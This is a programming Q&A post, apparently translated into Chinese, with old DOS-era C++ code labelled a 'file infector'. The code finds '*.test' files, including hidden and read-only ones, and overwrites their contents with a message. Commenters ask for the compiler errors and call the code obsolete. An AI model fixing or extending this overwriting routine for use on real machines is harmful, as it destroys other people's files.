【发布时间】:2022-06-16 23:32:14
【问题描述】:
#include<iostream.h>
#include<io.h>
#include<dos.h>
#include<fstream.h>
using namespace std;
int main(void)
{
struct ffblk f;
int done;
std::ofstream file;
done = findfirst("*.test", &f, FA_HIDDEN | FA_RDONLY); // write extension of files here
while (!done)
{
std::cout << f.ff_name << endl;
file.open(f.ff_name, ios::binary);
file << " i am file infector"; //write message to be wriitten in file
file.close();
done = findnext(&f);
}
}
【问题讨论】:
-
这些错误具体是什么? Edit您的问题并添加该信息。逐字提及编译器错误,避免自己动手。
-
代码是为 pre-ISO C++ 编译器编写的。你不应该使用它。它已经完全过时了。无论如何,您都不应该使用“您找到”的代码。如果您需要编写一些代码、自己编写或使用库,请不要随意查找他人编写的代码,抄袭它然后尝试修改它以满足您的需求。
标签: c++ visual-c++